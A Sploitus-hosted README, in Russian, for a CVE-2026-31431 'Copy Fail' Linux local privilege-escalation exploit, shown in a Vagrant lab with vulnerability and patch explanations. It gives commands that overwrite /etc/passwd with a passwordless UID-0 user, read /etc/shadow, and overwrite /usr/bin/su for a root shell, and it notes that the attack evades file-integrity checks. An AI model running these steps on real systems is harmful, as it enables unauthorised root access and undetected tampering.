Sploitus

Exploit for CVE-2026-31431-CopyFail-Linux-PrivEsc

kitploit · 2026-08-25

Exploit Code

MARKDOWN208 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JOHN-POPOVICI-CVE-2026-31431-COPYFAIL-LINUX-PRIVESC
# CVE-2026-31431 CopyFail: локальное повышение привилегий в Linux

Демонстрация и объяснение уязвимости CVE-2026-31431 — локальное повышение привилегий в ядре Linux, вызванное ошибкой Copy Fail. Уязвимость позволяет перезаписывать данные в кэше страниц для файлов, открытых с правом чтения.

Этот репозиторий предназначен только для образовательных целей и демонстрирует уязвимость в контролируемой среде. Включены следующие файлы:

root@kitploit:~
    
    
    ├── exploit
    │   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
    │   ├── original_payload.txt    # A copy of the payload used in the original exploit
    │   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
    │   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
    ├── README.md
    └── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04
    

## Введение

Уязвимость, названная Copy Fail, присутствует в ядрах Linux с 2017 по 2026 год из-за логической ошибки в `algif_aead`. Ей присвоен идентификатор CVE-2026-31431 с оценкой CVSS 7.8, что соответствует высокому уровню серьезности. Эксплойт является детерминированным и может обходить традиционные средства контроля целостности файлов.

Концепт-эксплойты были опубликованы на различных языках, включая C, Python и Go, но в этой демонстрации используется Python, требующий версии 3.10 или выше. Этот эксплойт требует локального выполнения кода от имени непривилегированного пользователя и может использоваться для локального повышения привилегий.

Ниже приведены разделы:

  * **Эксплуатация:** Демонстрации эксплойта и того, как его можно использовать для получения привилегий root.
  * **Примечание об обнаружении эксплуатации:** Объяснение того, почему этот эксплойт сложно обнаружить с помощью традиционных средств контроля целостности файлов.
  * **Уязвимость:** Ссылка на коммит, который ввел уязвимость, и объяснение проблемы.
  * **Патч:** Ссылка на коммит, который исправил уязвимость, и объяснение исправления.
  * **Дополнительные ресурсы:** Список ресурсов для дальнейшего чтения и реализаций эксплойта на различных языках.



## Эксплуатация

### Подготовка

Убедитесь, что у вас установлены Vagrant и QEMU. Затем клонируйте этот репозиторий и перейдите в каталог проекта.

root@kitploit:~
    
    
    vagrant up
    vagrant ssh
    

Внутри виртуальной машины мы можем проверить пределы своих возможностей.

root@kitploit:~
    
    
    id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
    su # We are prompted for the root password, which we do not have
    
    stat /usr/bin/su # We have read and execute permissions
    stat /etc/passwd # We have read permission
    stat /etc/shadow # We have no permissions
    

Очевидно, что наши возможности ограничены, но мы можем использовать уязвимость для повышения привилегий.

### Демонстрация эксплуатации 1: Понимание эксплойта

Чтобы понять уязвимость, давайте перезапишем тестовый файл и посмотрим, что произойдет.

root@kitploit:~
    
    
    echo -e "ABCDE\nF\nG" > dummy.txt
    cat dummy.txt
    

У нас есть файл с тремя строками. Первая строка имеет размер 6 байт (включая символ новой строки), вторая — 2 байта, а третья — один байт. Это важно, поскольку эксплойт перезаписывает данные блоками по 4 байта, и мы дополняем полезную нагрузку до нужного размера.

root@kitploit:~
    
    
    python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
    cat dummy.txt
    

Мы видим, что первые 8 байт файла заменены нашей полезной нагрузкой. Там есть два символа, которые не являются печатными. Откройте файл в `nano`, чтобы проверить. Но это не слишком впечатляет, поэтому перейдем к записи в файлы, на запись в которые у нас нет прав.

### Демонстрация эксплуатации 2: Удаление пароля root

Мы можем перезаписать содержимое `/etc/passwd`, чтобы добавить пользователя с привилегиями root, но без пароля.

root@kitploit:~
    
    
    cat /etc/passwd
    

Первая строка содержит пользователя root и состоит из 8 групп по 4 символа (включая символ новой строки). Она отформатирована следующим образом: `root:x:0:0:root:/root:/bin/bash`, и значения относятся к имени пользователя, паролю, UID, GID, домашнему каталогу и оболочке.

root@kitploit:~
    
    
    python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
    "
    cat /etc/passwd
    

Мы добавили нового пользователя `hackd` с UID 0 и GID 0, что означает наличие привилегий root. Поле пароля пустое, поэтому мы можем войти без пароля.

root@kitploit:~
    
    
    su hackd
    id
    cat /etc/shadow
    

### Демонстрация эксплуатации 3: Перезапись исполняемого файла

В оригинальном эксплойте бинарный файл `/usr/bin/su` перезаписывается инструкциями для запуска оболочки, что позволяет атакующему получить привилегии root при выполнении `su`. Мы можем воспроизвести этот эксплойт, нацелившись на `/usr/bin/su` с исходной полезной нагрузкой из файла. Обратите внимание, что это разрушает бинарный файл `su` в этом кэше страниц.

root@kitploit:~
    
    
    python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
    

Когда полезная нагрузка установлена, мы можем выполнить `su` и получить привилегии root. Это открывает оболочку с идентификатором пользователя 0, который обычно является пользователем root, но если предыдущая демонстрация была выполнена, это будет созданный нами пользователь `hackd`. Этот эксплойт откроет оболочку, даже если у пользователя `root` есть пароль.

root@kitploit:~
    
    
    su
    id
    

## Примечание об обнаружении эксплуатации

Этот эксплойт не изменяет файл на диске, а изменяет состояние кэша страниц. В результате традиционные средства контроля целостности файлов, которые проверяют изменения файлов на диске, не обнаруживают этот эксплойт.

Чтобы продемонстрировать это, выполните указанные выше эксплойты, а затем после перезагрузки виртуальной машины проверьте содержимое целевого файла.

root@kitploit:~
    
    
    vagrant halt
    vagrant up
    vagrant ssh
    cat /etc/passwd # The file is unchanged on disk
    

## Уязвимость

В эксплойте используются следующие компоненты:

  1. splice 
     * Передает данные между файловыми дескрипторами без копирования
     * Изменение переданного через splice сообщения также изменяет кэш страниц
  2. recvmsg 
     * Получает данные из канала и перемещает их в буфер для криптографической операции
     * Входные данные AD и CT копируются, TAG передается по ссылке `AD||CT||TAG`
  3. authensc 
     * Существует предположение, что изменяются только AD и CT, но aythensc нарушает это
     * AD делится на seqno_hi и seqno_lo, и authensc меняет их порядок на месте, копируя его после `TAG`
     * `seqno_hi||seqno_lo||CT||TAG` -> `seqno_lo||seqno_hi||CT||TAG||seqno_lo`
     * Эта последовательность копируется в место, на которое указывает ссылка



Коммит, который включил оптимизацию на месте, создавшую эту уязвимость:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

## Патч

Патч был выпущен без каких-либо публичных объявлений и удаляет функциональность операции на месте в `algif_aead`:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

## Дополнительные ресурсы

Дополнительное чтение:

  * https://copy.fail/
  * https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  * https://xint.io/blog/copy-fail-linux-distributions
  * https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/



Реализации на Python

  * https://github.com/theori-io/copy-fail-CVE-2026-31431
  * https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  * https://github.com/cryptopepy/copy-fail-CVE-2026-31431



Реализации на C

  * https://github.com/tgies/copy-fail-c
  * https://github.com/pyroceper/copy-fail-CVE-2026-31431
  * https://github.com/huberteff/copy-fail-CVE-2026-31431



Реализации на Go

  * https://github.com/badsectorlabs/copyfail-go
  * https://github.com/3jee/copy-fail-go